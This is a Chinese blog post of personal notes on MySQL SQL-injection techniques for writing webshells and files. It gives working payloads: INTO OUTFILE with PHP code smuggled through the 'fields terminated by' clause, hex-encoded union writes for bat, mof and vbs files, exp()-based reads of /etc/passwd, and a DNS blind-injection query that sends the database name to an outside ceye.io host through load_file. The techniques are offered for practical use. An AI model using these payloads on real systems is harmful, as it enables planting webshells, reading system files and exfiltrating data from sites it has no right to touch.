• mysql写Shell小技巧


    今天终于在表哥的帮助下解决了文件导入/出这个问题了。(很菜逼的一个问题),然后将最近看到的文章都自己测试了下,顺便奉上记录。
    1.Mysql数据库支持union的时候写文件小技巧:
     
    采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍,
    但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了。
     
    将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我们需要的内容了。

    2.不支持union的时候写入,很多人都不知道这个办法,以为要写入内容必须要支持union,看到一篇文章,可以不需要支持这个办法。
    语法:select * from admin where id=1 into outfile ‘F:WWWphpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
     
    可以看到成功写入,但是这个方法有一个弊病就是查询出来的数据必须大于或等于2以上才可以写入内容,写入的内容数=查询出来的数据-1
     
    可以看到,当我们使前面的数据出错查不到数据的时候,写入是失败的。
    看看sqlmap中的情况:
     
    可以很明显的看到sqlmap中也有这种办法写入。(burp抓取sqlmap数据包:加上 --proxy "http://127.0.0.1:8080/" 在burp里可以看到请求)
     
    当然可以看到也通过了常规的union写入文件。
    同时附上一个函数exp()。通过这个函数也可以读取文件,但是写文件只能写入一个内容为0的文件,这里就必须结合其他的漏洞利用了,如:文件覆盖之类的。
    读文件:
    select exp(~(select*from(select load_file('/etc/passwd'))a));  
    写文件:
    select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能写一个0进去。


    3.关于使用dns解析来让盲注更加简单。
    首先看下load_file()这个函数,这个函数可以用来发送dns解析请求。
    然后使用类似的语句:select id from admin where id=1 and if((select load_file(concat('\\',(select database()),'.ceye.io\abc'))),1,1);
    即可成功将database()解析到域名的dns前面。前提是支持读文件权限,这个在实战中占的比列大概只有%30左右吧。
     
    还有就是命令执行同时也支持的,如:
     

    实战中也类似这个道理。在可能存在命令执行的地方,ping+域名,或许就能查看到是否执行了。
    本来是自己写的word作为记录储存的,顺便和大家分享下。
    相关资料:
    https://ricterz.me/posts/%E7%AC% ... Injection%20Attacks
    https://bbs.ichunqiu.com/thread-22002-1-1.html
    http://lu4n.com/mysql-sqli-write-webshell-two-methods/

    ---恢复内容结束---

  • 相关阅读:
    jQuery--百度百科
    JSP--百度百科
    servlet--百度百科
    java web--百度百科
    软件测试--百度百科
    HTML--百度百科
    CSS--百度百科
    JavaScript--百度百科
    js识别不同浏览器
    【cocos2dx开发技巧10】cocosStudio的集成以及c++11的新特性
  • 原文地址:https://www.cnblogs.com/qing123/p/6771858.html
Copyright © 2020-2023  润新知